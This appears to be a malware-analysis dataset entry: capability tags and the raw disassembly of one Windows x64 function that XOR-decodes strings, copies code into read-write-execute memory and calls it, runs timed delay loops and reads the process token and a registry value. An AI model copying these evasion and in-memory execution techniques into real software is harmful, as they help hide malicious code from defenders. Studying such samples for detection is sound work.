Function at 0x14020aaf0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xca20
call fcn.140242000
sub rsp, rax
movaps xmmword [rsp + 0xca10], xmm6
movaps xmmword [rsp + 0xca00], xmm7
movaps xmmword [rsp + 0xc9f0], xmm8
movaps xmmword [rsp + 0xc9e0], xmm9
movaps xmmword [rsp + 0xc9d0], xmm10
movaps xmmword [rsp + 0xc9c0], xmm11
movaps xmmword [rsp + 0xc9b0], xmm12
movaps xmmword [rsp + 0xc9a0], xmm13
mov rax, qword [0x140284028]
xor rax, rsp
mov qword [rsp + 0xc990], rax
xor esi, esi
mov dword [rsp + 0xb0], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0xd98], xmm0
lea rcx, [rsp + 0xca38]
movabs r12, 0xff00ff00ff00ff00
mov qword [rsp + 0xda0], r12
mov qword [rsp + 0xda8], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0xd98], rax
mov qword [rcx], rsi
movsd xmm0, qword [0x140270330]
movsd qword [rsp + 0x80], xmm0
movzx eax, word [0x140270338]
mov word [rsp + 0x88], ax
cmp byte [0x140270339], sil
je 0x14020ac2f
mov byte [rsp + 0x80], 0x54
xor byte [rsp + 0x81], 0x44
xor byte [rsp + 0x82], 0x46
xor byte [rsp + 0x83], 0x48
xor byte [rsp + 0x84], 0x4a
xor byte [rsp + 0x85], 0x4c
xor byte [rsp + 0x86], 0x4e
xor byte [rsp + 0x87], 0x50
xor byte [rsp + 0x88], 0x52
xor byte [rsp + 0x89], 0x54
lea rdx, [rsp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14021b940
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xe8], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xe90], xmm0
lea rax, [rsp + 0xca38]
mov qword [rsp + 0xe98], r12
mov qword [rsp + 0xea0], rax
mov rdi, qword [rax]
xor rdi, r12
mov qword [rsp + 0xe90], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x140290430]
lea r15, [0x14021bd00]
lea r14, [0x140000000]
test rax, rax
je 0x14020acce
mov rdx, rsi
cmp rax, r15
je 0x14020acfb
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x290430]
test rax, rax
jne 0x14020acb8
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14020ad13
mov r8, rsi
jmp 0x14020adae
mov r8, qword [r14 + rdx*8 + 0x292a30]
test r8, r8
je 0x14020acce
mov r13d, 3
jmp 0x14020adcf
mov rax, r15
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020ad20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290da0]
mov qword [r14 + rax*8 + 0x290430], r15
mov qword [r14 + rax*8 + 0x292a30], r8
inc rax
mov qword [0x140290da0], rax
lea rdx, [rsp + 0xe8]
mov rcx, rbx
call r8
nop
xor rdi, r12
mov qword [rsp + 0xe90], rdi
lea rax, [rsp + 0xca38]
mov qword [rax], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xe78], xmm0
lea r15, [rsp + 0xca38]
mov qword [rsp + 0xe80], r12
mov qword [rsp + 0xe88], r15
mov rdi, qword [r15]
xor rdi, r12
mov qword [rsp + 0xe78], rdi
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x140291a30]
lea rbx, [0x14021c900]
test rax, rax
je 0x14020ae69
mov rdx, rsi
cmp rax, rbx
je 0x14020ae58
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x291a30]
test rax, rax
jne 0x14020ae40
jmp 0x14020ae69
mov r8, qword [r14 + rdx*8 + 0x2923c0]
test r8, r8
jne 0x14020af4f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14020ae90
mov r8, rsi
jmp 0x14020af2e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020aea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d60]
mov qword [r14 + rax*8 + 0x291a30], rbx
mov qword [r14 + rax*8 + 0x2923c0], r8
inc rax
mov qword [0x140292d60], rax
lea rcx, [0x1401d9900]
call r8
nop
xor rdi, r12
mov qword [rsp + 0xe78], rdi
mov qword [r15], rdi
test al, al
je 0x14020b231
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x2514], 0xffffffff
mov dword [rsp + 0x1194], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1194], eax
inc rdx
cmp rdx, 0x270
jb 0x14020afa0
mov dword [rsp + 0x1190], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020afef
imul rax, rax, 0x64
jmp 0x14020b00a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov qword [rsp + 0x68], r14
mov r15d, 0x80000000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020b03e
imul rax, rax, 0x64
jmp 0x14020b059
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14020b228
mov esi, 0x186a0
mov r14d, 1
nop dword [rax]
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020b0ab
nop dword [rax + rax]
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020b090
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r14d
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020b10b
cmp eax, 0x64
jae 0x14020b10b
nop
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020b0f0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14020b16e
cmp eax, 0x64
jae 0x14020b16e
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020b153
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020b1db
cmp eax, 0x64
jae 0x14020b1db
nop word [rax + rax]
lea rcx, [rsp + 0x1190]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020b1c0
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub rsi, r14
jne 0x14020b070
mov r14, qword [rsp + 0x68]
jmp 0x14020b020
mov eax, dword [rsp + 0x40]
jmp 0x140214544
movzx eax, word [0x14026f814]
mov word [rsp + 0xa8], ax
movzx eax, byte [0x14026f816]
mov byte [rsp + 0xa8], 0x62
xor byte [rsp + 0xa9], 0x44
xor al, 0x46
mov byte [rsp + 0xaa], al
lea rdx, [rsp + 0xa8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14021b940
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movzx eax, word [0x1402708d8]
mov word [rsp + 0xa0], ax
movzx eax, byte [0x1402708da]
mov byte [rsp + 0xa0], 0x62
xor byte [rsp + 0xa1], 0x44
xor al, 0x46
mov byte [rsp + 0xa2], al
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14021b940
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xa80]
call fcn.1401e01e0
mov rdx, rax
lea rcx, [0x14028f478]
call fcn.140217fa0
lea rcx, [rsp + 0xa80]
call fcn.140219ac0
movzx eax, word [0x1402715fc]
mov word [rsp + 0xa4], ax
movzx eax, byte [0x1402715fe]
mov byte [rsp + 0xa4], 0x62
xor byte [rsp + 0xa5], 0x44
xor al, 0x46
mov byte [rsp + 0xa6], al
lea rdx, [rsp + 0xa4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14021b940
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14028f478]
lea rcx, [rsp + 0xca0]
call fcn.140218140
mov rdx, rax
lea rcx, [rsp + 0xae0]
call fcn.1401d3800
mov rdx, rax
lea rcx, [rsp + 0xac0]
call fcn.1401d2e70
mov rdx, rax
lea rbx, [0x14028f720]
mov rcx, rbx
call fcn.140217fa0
lea rcx, [rsp + 0xac0]
call fcn.140219ac0
cmp qword [0x14028f738], 0x10
cmovae rbx, qword [0x14028f720]
mov r8, qword [0x14028f730]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402220d0
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14020b401
movzx eax, word [0x1402710e8]
mov word [rsp + 0x78], ax
movsd xmm0, qword [str.__5n_3V]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1402710ea]
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], 0x65
xor byte [rsp + 0x71], 0x44
xor byte [rsp + 0x72], 0x46
xor byte [rsp + 0x73], 0x48
xor byte [rsp + 0x74], 0x4a
xor byte [rsp + 0x75], 0x4c
xor byte [rsp + 0x76], 0x4e
xor byte [rsp + 0x77], 0x50
xor byte [rsp + 0x78], 0x52
xor byte [rsp + 0x79], 0x54
xor al, 0x56
mov byte [rsp + 0x7a], al
lea rdx, [rsp + 0x70]
call fcn.14021b940
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xd70], xmm0
movups xmmword [rsp + 0xd80], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xd70], rax
movdqu xmmword [rsp + 0xd78], xmm0
mov qword [rsp + 0xd88], rsi
xor eax, eax
movups xmmword [rsp + 0x1000], xmm0
movups xmmword [rsp + 0x1010], xmm0
movups xmmword [rsp + 0x1020], xmm0
movups xmmword [rsp + 0x1030], xmm0
movups xmmword [rsp + 0x1040], xmm0
movups xmmword [rsp + 0x1050], xmm0
movups xmmword [rsp + 0x1060], xmm0
mov qword [rsp + 0x1070], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0x1000], rax
mov byte [rsp + 0x104c], 0
mov dword [rsp + 0x1050], 7
call fcn.1401bb4e0
mov rcx, rax
test rax, rax
je 0x1402145cf
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1058], rax
call fcn.1401bb4e0
mov rcx, rax
test rax, rax
je 0x1402145da
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1060], rax
call fcn.1401bb4e0
mov rcx, rax
test rax, rax
je 0x1402145e5
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1068], rax
call fcn.1401bb4e0
mov rcx, rax
test rax, rax
je 0x1402145f0
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1070], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xd50]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14020b6b6
lea rcx, [rsp + 0xd70]
mov rax, qword [rsp + 0xd70]
call qword [rax + 8]
mov rax, qword [rsp + 0xd50]
mov qword [rsp + 0xd78], rax
lea rdx, [rsp + 0x1000]
lea rcx, [rsp + 0xd70]
call fcn.14021b300
test al, al
je 0x14020b6b6
lea rcx, [rsp + 0x1000]
call fcn.1401bb850
lea rcx, [rsp + 0xcc8]
mov qword [rsp + 0xcc0], rcx
mov r8d, r13d
mov rdx, rax
lea rcx, [rsp + 0xcc0]
call fcn.140218bc0
nop
mov rdx, qword [rsp + 0xcc0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x618], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x628], xmm1
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14020b660
lea rcx, [rsp + 0x618]
call fcn.1401d50a0
lea rdx, [rsp + 0x618]
lea rcx, [0x14028f7f8]
call fcn.140217fa0
lea rcx, [rsp + 0x618]
call fcn.140219ac0
nop
lea rax, [rsp + 0xcc8]
mov rcx, qword [rsp + 0xcc0]
cmp rcx, rax
je 0x14020b6bd
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14020b6bd
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0xd90], 0x7e8
lea rcx, [rsp + 0xaa0]
call fcn.1401c2d50
mov r11, rax
movups xmm0, xmmword [0x1402709c8]
movups xmmword [rsp + 0x1b0], xmm0
movzx ecx, word [0x1402709d8]
mov word [rsp + 0x1c0], cx
cmp byte [0x1402709d9], 0
je 0x14020b994
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x14020b930
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x1402728d0]
movd xmm10, r13d
movdqa xmm7, xmmword [0x140272910]
mov ebx, 6
movd xmm11, ebx
movdqa xmm12, xmmword [0x140272840]
mov ebx, 0x1f
movd xmm8, ebx
movdqa xmm13, xmmword [0x140272920]
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x50]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14020b771
cmp r9d, 0x12
jge 0x14020b994
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x14020b940
mov r8, r11
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1170]
call fcn.14021bd30
nop
lea rcx, [rsp + 0xaa0]
call fcn.140219ac0
mov eax, dword [str.___J]
mov dword [rsp + 0x98], eax
movzx eax, byte [0x140271574]
mov byte [rsp + 0x98], 0x6e
xor byte [rsp + 0x99], 0x44
xor byte [rsp + 0x9a], 0x46
xor byte [rsp + 0x9b], 0x48
xor al, 0x4a
mov byte [rsp + 0x9c], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x5f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x608], xmm1
lea rax, [rsp + 0x98]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14020ba20
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x5f8]
call fcn.1401d50a0
nop
lea rdx, [rsp + 0x5f8]
lea rcx, [rsp + 0xb80]
call fcn.1401c1ff0
mov rbx, rax
cmp qword [rax + 0x18], 8
jb 0x14020ba62
mov rbx, qword [rax]
lea rdx, [rsp + 0x1170]
lea rcx, [rsp + 0xa60]
call fcn.1401c1ff0
cmp qword [rax + 0x18], 8
jb 0x14020ba81
mov rax, qword [rax]
lea rcx, [rsp + 0xd90]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0xc1a0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rsi
mov r9d, 2
mov r8, rbx
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ebx, eax
lea rcx, [rsp + 0xa60]
call fcn.140219830
nop
lea rcx, [rsp + 0xb80]
call fcn.140219830
nop
lea rcx, [rsp + 0x5f8]
call fcn.140219ac0
test ebx, ebx
jne 0x14020bb08
lea rdx, str.Registry_Value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14021b720
mov rcx, rax
lea rdx, [rsp + 0xc1a0]
jmp 0x14020bb16
lea rdx, str.Failed_to_read_registry_value
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14021b720
lea rdx, [0x14021b900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x38a4], 0xffffffff
mov dword [rsp + 0x2524], eax
mov edx, 1
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x2524], eax
inc rdx
cmp rdx, 0x270
jb 0x14020bb50
mov dword [rsp + 0x2520], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020bb9f
imul rax, rax, 0x64
jmp 0x14020bbba
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r12, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r12
mov r15d, 0x80000000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020bbee
imul rax, rax, 0x64
jmp 0x14020bc09
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x14020bddf
mov qword [rsp + 0x68], 0x186a0
mov r12d, 1
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020bc5b
nop dword [rax]
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020bc40
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020bcbb
cmp eax, 0x64
jae 0x14020bcbb
nop dword [rax]
lea rcx, [rsp + 0x2520]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020bca0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
